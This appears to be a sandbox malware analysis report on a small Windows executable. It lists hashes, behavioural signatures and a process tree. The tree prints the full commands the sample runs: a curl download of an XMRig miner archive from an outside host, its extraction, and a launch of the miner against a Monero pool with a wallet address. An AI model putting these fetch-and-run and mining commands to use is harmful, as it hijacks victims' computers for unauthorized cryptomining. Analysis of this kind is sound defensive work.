Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Resubmissions
11/03/2024, 21:08
240311-zy7ywsed31 1011/03/2024, 21:06
240311-zx53xagd73 1011/03/2024, 21:02
240311-zvwrfsec3x 1011/03/2024, 21:01
240311-ztxx5aeb9x 1011/03/2024, 20:59
240311-zs72psgc56 1011/03/2024, 20:57
240311-zrmpdaeb3v 1011/03/2024, 20:56
240311-zqzbsagb66 1011/03/2024, 20:55
240311-zqlexsgb55 1011/03/2024, 20:54
240311-zp4j4sgb43 1011/03/2024, 20:53
240311-zplz3agb32 10Analysis
-
max time kernel
1043s -
max time network
1050s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
-
submitted
11/03/2024, 20:59
General
-
Target
test - Copy (11).exe
-
Size
6KB
-
MD5
4634098fe194204dc03f967cc0b19cd6
-
SHA1
eaa58619c6cea9f148cec61ee504cd727b3e80d8
-
SHA256
a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
-
SHA512
64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d
-
SSDEEP
96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s
Malware Config
Signatures
-
XMRig Miner payload 57 IoCs
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Executes dropped EXE 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of AdjustPrivilegeToken 2 IoCs
-
Suspicious use of FindShellTrayWindow 1 IoCs
-
Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\test - Copy (11).exe"C:\Users\Admin\AppData\Local\Temp\test - Copy (11).exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ygZhezCh.bat" "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip3⤵
-
-
C:\Windows\system32\tar.exetar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"3⤵
-
-
C:\xmrig\xmrig-6.21.1\xmrig.exeC:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
421B
MD567d11b392feb0ad59fc11ff3e79dfeee
SHA17df5785988cb76c4893773614572c93baaa18717
SHA25669bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d
SHA51250835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11
-
Filesize
225KB
MD538b39822d0068985a567af923f40e76f
SHA182d2628e93ca1d7813bfd5d2dc5d4286a3076373
SHA2564a1f841dffc4ecb63e49dec68dab3c960b5842aeff25071dbcb820da2e6b4b1d
SHA5123790b2807f8cc1ccf5e3debce2c601a26e7d2f16d0ee39f9d0ae0996081371b1e5747ede2ff9052c734573c990c7353654e0edb8952036b7f8a188c259081037
-
Filesize
211KB
MD5cfb619bc98432c5658cf3e12e3f4b9e6
SHA1353485858b29bfcfaf13aa5966129cd0a4c2acfb
SHA256863b68763c5f06de0abaf27bfb82da312561dfeff9762bc373223a0442699256
SHA512b87b66f2511fd6b905b91ebe7036ab3056aad494d3df38efe97a80101c1bf319da11c5b4d93ba9e7dbac4c756b641d9726c30b43343e3bc58320ae447235a0ca
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
128KB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
32KB
-
Filesize
10.8MB
-
Filesize
10.8MB